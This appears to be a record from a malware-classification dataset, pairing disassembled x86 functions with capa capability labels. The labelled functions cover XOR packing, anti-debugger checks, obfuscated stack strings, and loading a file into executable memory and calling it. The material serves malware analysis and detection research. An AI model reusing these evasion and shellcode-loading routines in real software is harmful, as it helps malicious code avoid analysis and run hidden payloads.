joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40721a
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebp
push esi
mov esi, dword [esp + 0x14]
test esi, esi
push edi
mov dword [0x45c2e8], 0x55004e
mov dword [0x45c2ec], 0x4c
mov edi, 0x400
mov ebp, 0x45c2e8
je 0x407270
push 1
push 0
push esi
call fcn.00406626
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x40738f
cmp eax, edi
jg 0x40738f
push edi
mov esi, 0x461140
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x40738f
cmp eax, edi
jg 0x40738f
push esi
push ebp
push str._ls_ls_r_n
push 0x45cd38
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x4735fc]
push dword [eax + 0x128]
push esi
call fcn.00406fd5
push 4
push 0xc0000000
push esi
call fcn.00406626
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x40738f
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x407388
push edi
push esi
push ebp
call fcn.004066a9
test eax, eax
je 0x407388
push str._Rename__r_n
push esi
call fcn.00406586
test eax, eax
jne 0x407326
push str._Rename__r_n
lea eax, [esi + edi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x40735b
push 0x40a968
add eax, 0xa
push eax
call fcn.00406586
mov ebp, eax
test ebp, ebp
je 0x407357
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x407348
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x407342
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x40735d
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
push 0x45cd38
add eax, esi
push eax
call fcn.004065dc
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.004066d8
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x407394
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x4073b7
push dword [esp + 8]
push dword [esp + 8]
call fcn.0040721a
pop ecx
pop ecx
inc dword [0x4736b0]
ret 8
Function at 0x4073c0
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push esi
mov dword [ebp - 4], eax
call fcn.00406f4d
test bl, 8
mov dword [ebp - 8], eax
je 0x4073fe
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x4736a8], eax
jmp 0x4075d8
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
push edi
je 0x407419
test eax, eax
je 0x407558
test bl, 2
je 0x407558
push esi
mov edi, 0x45d138
push edi
call fcn.0040698c
cmp dword [ebp + 8], 0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x40743b
push str..
push edi
call ebx
jmp 0x407441
push esi
call fcn.00406edb
cmp word [esi], 0
jne 0x407451
cmp word [0x45d138], 0x5c
jne 0x407459
push 0x4097d4
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [esi + eax*2]
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40754d
cmp word [ebp - 0x22c], 0x2e
jne 0x4074ac
cmp word [ebp - 0x22a], 0
je 0x407530
cmp word [ebp - 0x22a], 0x2e
jne 0x4074ac
cmp word [ebp - 0x228], 0
je 0x407530
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.0040698c
test byte [ebp - 0x258], 0x10
je 0x4074d7
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x407530
push dword [ebp + 0xc]
push esi
call fcn.004073c0
jmp 0x407530
push esi
push str.Delete:_DeleteFile___s__
call fcn.00406c98
pop ecx
pop ecx
push dword [ebp - 4]
push esi
call fcn.00406e64
test eax, eax
push esi
jne 0x407529
cmp dword [ebp - 4], eax
je 0x407515
push str.Delete:_DeleteFile_on_Reboot___s__
call fcn.00406c98
pop ecx
pop ecx
push esi
push 0xfffffffffffffff1
call fcn.00405687
push 0
push esi
call fcn.00407394
jmp 0x407530
push str.Delete:_DeleteFile_failed___s__
call fcn.00406c98
inc dword [0x4736a8]
pop ecx
pop ecx
jmp 0x407530
push 0xfffffffffffffff2
call fcn.00405687
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40747c
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x407558
and word [ebx - 2], 0
xor edi, edi
cmp dword [ebp + 8], edi
je 0x4075d7
cmp dword [ebp - 8], edi
push esi
jne 0x40756c
push str.RMDir:_RemoveDirectory_invalid_input___s__
jmp 0x4075c1
call fcn.00406cca
test eax, eax
je 0x4075d7
push esi
call fcn.00406eac
push esi
push str.RMDir:_RemoveDirectory___s__
call fcn.00406c98
mov eax, dword [ebp - 4]
pop ecx
pop ecx
or eax, 1
push eax
push esi
call fcn.00406e64
test eax, eax
push esi
jne 0x4075d0
cmp dword [ebp - 4], edi
je 0x4075bc
push str.RMDir:_RemoveDirectory_on_Reboot___s__
call fcn.00406c98
pop ecx
pop ecx
push esi
push 0xfffffffffffffff1
call fcn.00405687
push edi
push esi
call fcn.00407394
jmp 0x4075d7
push str.RMDir:_RemoveDirectory_failed___s__
call fcn.00406c98
inc dword [0x4736a8]
pop ecx
pop ecx
jmp 0x4075d7
push 0xffffffffffffffe5
call fcn.00405687
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4075de
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461944], 0
jne 0x407619
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4075f2
mov dword [ecx*4 + 0x461940], eax
inc ecx
cmp ecx, 0x100
jl 0x4075ed
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x407646
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461940]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x407627
not eax
pop ebp
ret 0xc

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x476f52ea
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x1e555c82
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x43515a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x435168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x43514a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x435145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x435145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret

Function at 0x4351d2
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebx + 0x24]
add edx, ecx
pop ebx
pop ebx
pop ebx
pop ecx
pop eax
pop edi
pop esi
jmp edx
mov ecx, dword [ebx + 0x28]
cmp ecx, 1
je 0x4351c1
mov ecx, ebx
sub ecx, dword [ebx + 4]
xor cx, cx
mov dword [ebx + 0x24], ecx
add ecx, dword [ebx + 8]
mov esi, ecx
mov ecx, dword [ebx + 0xc]
xor edx, edx
mov eax, dword [ebx + 0x10]
xor dword [esi + edx], eax
add edx, 4
cmp edx, ecx
jl 0x4351f5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebx + 0x24]
add ecx, dword [ebx + 0x1c]
mov esi, ecx
mov ecx, dword [ebx + 0x20]
xor edx, edx
mov eax, dword [ebx + 0x10]
xor dword [esi + edx], eax
add edx, 4
cmp edx, ecx
jl 0x435285
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebx + 0x28], 1
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebx + 0x24]
add edx, ecx
pop ebx
pop ebx
pop ebx
pop ecx
pop eax
pop edi
pop esi
mov dword [esp + 0x34], edx
jmp edx
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000117f
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011aa
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x100011fd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x100014d0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push 0xc
push 0x1004de20
call fcn.1003cf40
and dword [ebp - 0x1c], 0
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 2]
and eax, 0xff
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x1c]
jmp 0x10001511
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10001521
Capabilities:
Check for debugger via api
Contain obfuscated stackstrings
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10053040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov dword [ebp - 0xc], ebx
call fcn.100014d0
test eax, eax
jne 0x100015f1
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [ebp - 8], ebx
jne 0x100015f1
movaps xmm0, xmmword [0x1004c340]
mov ecx, ebx
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x615f5e58
mov dword [ebp - 0x20], 0x54525e43
mov word [ebp - 0x1c], 0x4242
mov byte [ebp - 0x1a], bl
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x19
jb 0x10001585
mov byte [ebp - 0x1a], bl
mov cl, 0x40
mov dword [ebp - 0x18], 0x24342e40
mov eax, ebx
mov dword [ebp - 0x14], 0x246e2c2c
mov word [ebp - 0x10], 0x2c2c
mov byte [ebp - 0xe], bl
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 9
jae 0x100015bf
mov cl, byte [ebp - 0x18]
jmp 0x100015b0
lea eax, [ebp - 0x33]
mov byte [ebp - 0xe], bl
push eax
lea eax, [ebp - 0x17]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100015f9
push ebx
push 4
lea ecx, [ebp - 0xc]
push ecx
push 7
push 0xffffffffffffffff
call eax
test eax, eax
je 0x100015f9
cmp dword [ebp - 0xc], ebx
je 0x100015f9
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1003bff4
leave
ret

Function at 0x10001606
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movaps xmm0, xmmword [0x1004c530]
xor edx, edx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x4e54785e
mov ecx, edx
mov dword [ebp - 0x18], 0x495e4f55
mov byte [ebp - 0x14], dl
mov al, byte [ebp - 0x2c]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x17
jb 0x1000162c
mov byte [ebp - 0x14], dl
mov cl, 4
mov dword [ebp - 0x10], 0x76616f04
mov eax, edx
mov dword [ebp - 0xc], 0x3768616a
mov dword [ebp - 8], 0x68602a36
mov word [ebp - 4], 0x68
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xc
jae 0x1000166a
mov cl, byte [ebp - 0x10]
jmp 0x1000165b
lea eax, [ebp - 0x2b]
mov byte [ebp - 3], dl
push eax
lea eax, [ebp - 0xf]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.1000d1be
cmp al, 0xe9
jne 0x10001695
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
leave
ret
Function at 0x10001697
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor edx, edx
mov dword [ebp - 0x10], 0x105186c
mov cl, 0x6c
mov dword [ebp - 0xc], 0x18092b09
mov dword [ebp - 8], 0x9010538
mov eax, edx
mov byte [ebp - 4], dl
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xb
jae 0x100016ca
mov cl, byte [ebp - 0x10]
jmp 0x100016bb
mov byte [ebp - 4], dl
mov cl, 0x3f
mov dword [ebp - 0x20], 0x4d5a543f
mov eax, edx
mov dword [ebp - 0x1c], 0xc535a51
mov dword [ebp - 0x18], 0x535b110d
mov word [ebp - 0x14], 0x53
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 0xc
jae 0x100016fb
mov cl, byte [ebp - 0x20]
jmp 0x100016ec
lea eax, [ebp - 0xf]
mov byte [ebp - 0x13], dl
push eax
lea eax, [ebp - 0x1f]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.1000d1be
cmp al, 0xe9
jne 0x10001726
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
leave
ret

Function at 0x100017bf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10053040]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1004b820]
push ebx
xor ebx, ebx
movups xmmword [ebp - 0x28], xmm0
mov ecx, ebx
mov al, byte [ebp - 0x28]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0xe
jb 0x100017df
mov byte [ebp - 0x19], bl
mov cl, 0x42
mov dword [ebp - 0x18], 0x10070942
mov eax, ebx
mov dword [ebp - 0x14], 0x710e070c
mov dword [ebp - 0x10], 0x2e266c70
mov word [ebp - 0xc], 0x2e
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 0xc
jae 0x1000181d
mov cl, byte [ebp - 0x18]
jmp 0x1000180e
lea eax, [ebp - 0x27]
mov byte [ebp - 0xb], bl
push eax
lea eax, [ebp - 0x17]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push 1
lea ecx, [ebp - 5]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 5], 0xe9
mov ecx, dword [ebp - 4]
sete al
xor ecx, ebp
pop ebx
call fcn.1003bff4
leave
ret
Function at 0x100018e8
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1004de40
push 0x1003bfc5
mov eax, dword fs:[0]
push eax
push ecx
push ecx
sub esp, 0x38
mov eax, dword [0x10053040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
and dword [ebp - 0x50], 0
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x48]
rep stosd dword es:[edi], eax
and dword [ebp - 0x20], 0
and dword [ebp - 0x24], 0
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
push dword [ebp - 0x44]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10001962
xor al, al
jmp 0x100019e2
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov byte [eax], 0xc3
lea eax, [ebp - 0x20]
push eax
push 0x140
push dword [ebp - 0x44]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1000198b
xor al, al
jmp 0x100019e2
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
push 0x100019d0
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1003bff4
leave
ret
Function at 0x10001eab
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movaps xmm0, xmmword [0x1004c080]
xor ecx, ecx
movups xmmword [ebp - 0x14], xmm0
mov word [ebp - 4], 0x353b
mov byte [ebp - 2], 0
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0x11
jb 0x10001ec8
lea eax, [ebp - 0x13]
mov byte [ebp - 2], 0
push eax
call fcn.10002214
cmp eax, 0xba2d38a3
jne 0x10001f1a
movaps xmm0, xmmword [str.N_n_:_a]
xor ecx, ecx
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0xe
jb 0x10001ef6
lea eax, [ebp - 0x13]
mov byte [ebp - 5], 0
push eax
call fcn.10002214
cmp eax, 0x27b35bb1
sete al
leave
ret
xor al, al
leave
ret
Function at 0x10002162
Capabilities:
Encode data using xor
Hash data using crc32b

Disassembly:
push ebx
push esi
push edi
push 0x3fc
xor esi, esi
push esi
push 0x10056444
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov edi, 0x10056440
push 8
push esi
call fcn.100021df
mov edx, eax
push 8
shl edx, 0x18
pop ebx
mov ecx, edx
lea eax, [edx + edx]
sar ecx, 0x1f
and ecx, 0x4c11db7
mov edx, ecx
xor edx, eax
sub ebx, 1
jne 0x1000218f
push 0x20
push edx
call fcn.100021df
mov dword [edi], eax
inc esi
add edi, 4
cmp edi, 0x1005683c
jle 0x1000217f
pop edi
pop esi
pop ebx
call fcn.10001a4b
test al, al
je 0x100021dc
call fcn.10001eab
test al, al
je 0x100021dc
call fcn.10001f1e
test al, al
setne al
ret
xor al, al
ret

Function at 0x10002214
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x10053040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
and dword [ebp - 0x408], 0
push esi
push 0x10041854
push eax
lea eax, [ebp - 0x408]
or esi, 0xffffffff
push eax
mov dword [ebp - 0x40c], esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
add esp, 0xc
test eax, eax
jne 0x100022c7
cmp dword [ebp - 0x408], eax
je 0x100022c7
push ebx
push dword [ebp - 0x408]
mov ebx, 0x400
lea eax, [ebp - 0x404]
push ebx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
je 0x100022b7
push eax
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x40c]
push eax
call fcn.100022d8
push dword [ebp - 0x408]
lea eax, [ebp - 0x404]
push ebx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
jne 0x10002280
mov esi, dword [ebp - 0x40c]
push dword [ebp - 0x408]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
not esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1003bff4
leave
ret 4

Function at 0x100022d8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x10002309
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov edx, dword [ebx]
movzx eax, byte [edi]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x10056440]
inc edi
mov dword [ebx], edx
sub esi, 1
jne 0x100022eb
pop edi
pop ebx
pop esi
pop ebp
ret 0xc
Function at 0x10002f1f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x14
mov eax, 0x1003d7bd
call fcn.1003d39e
mov esi, ecx
xor ebx, ebx
inc ebx
mov dword [ebp - 0x10], ebx
mov edi, dword [ebp + 8]
mov ecx, edi
push 0x10041857
call fcn.10003da0
xor edx, edx
mov dword [ebp - 4], edx
mov al, byte [esi + 2]
mov dword [ebp - 0x10], ebx
cmp al, 0xff
je 0x10003080
cmp al, bl
jne 0x10002f85
mov cl, 0x78
mov dword [ebp - 0x1c], 0x55494878
mov dword [ebp - 0x18], 0x1c14171f
mov eax, edx
mov byte [ebp - 0x14], dl
xor byte [ebp + eax - 0x1b], cl
inc eax
cmp eax, 7
jae 0x10002f7d
mov cl, byte [ebp - 0x1c]
jmp 0x10002f6e
lea eax, [ebp - 0x1b]
jmp 0x10003075
jle 0x10003080
cmp al, 5
jge 0x10002fc4
mov cl, 0x33
mov word [ebp - 0x20], 0x333
mov byte [ebp - 0x1e], bl
mov eax, edx
mov dword [ebp - 0x1d], 0x5f5a401e
mov dword [ebp - 0x19], 0x415645
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 9
jae 0x10002fb9
mov cl, byte [ebp - 0x20]
jmp 0x10002faa
mov byte [ebp - 0x16], dl
lea eax, [ebp - 0x1f]
jmp 0x10003078
cmp al, 0xa
jge 0x10002ff2
mov cl, 0x4d
mov dword [ebp - 0x20], 0x607e7d4d
mov dword [ebp - 0x1c], 0x2c3f2420
mov eax, edx
mov word [ebp - 0x18], 0x282a
mov byte [ebp - 0x16], dl
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 9
jae 0x10002fb9
mov cl, byte [ebp - 0x20]
jmp 0x10002fe3
cmp al, 0x1a
jge 0x10003020
mov cl, 0x7d
mov dword [ebp - 0x20], 0x50494d7d
mov dword [ebp - 0x1c], 0x191c150e
mov eax, edx
mov word [ebp - 0x18], 0xa12
mov byte [ebp - 0x16], dl
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 9
jae 0x10002fb9
mov cl, byte [ebp - 0x20]
jmp 0x10003011
cmp al, 0x65
mov byte [ebp - 0x14], dl
mov eax, edx
jge 0x1000304c
mov cl, 0x53
mov dword [ebp - 0x1c], 0x7e666353
mov dword [ebp - 0x18], 0x27203a3e
xor byte [ebp + eax - 0x1b], cl
inc eax
cmp eax, 7
jae 0x10002f7d
mov cl, byte [ebp - 0x1c]
jmp 0x10003039
mov cl, 0x47
mov dword [ebp - 0x20], 0x6a717747
mov dword [ebp - 0x1c], 0x2e263533
mov dword [ebp - 0x18], 0x20292e29
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 0xb
jae 0x10003072
mov cl, byte [ebp - 0x20]
jmp 0x10003063
lea eax, [ebp - 0x1f]
mov byte [ebp - 0x14], dl
push eax
mov ecx, edi
call fcn.10003b50
mov eax, edi
call fcn.1003d37b
ret 4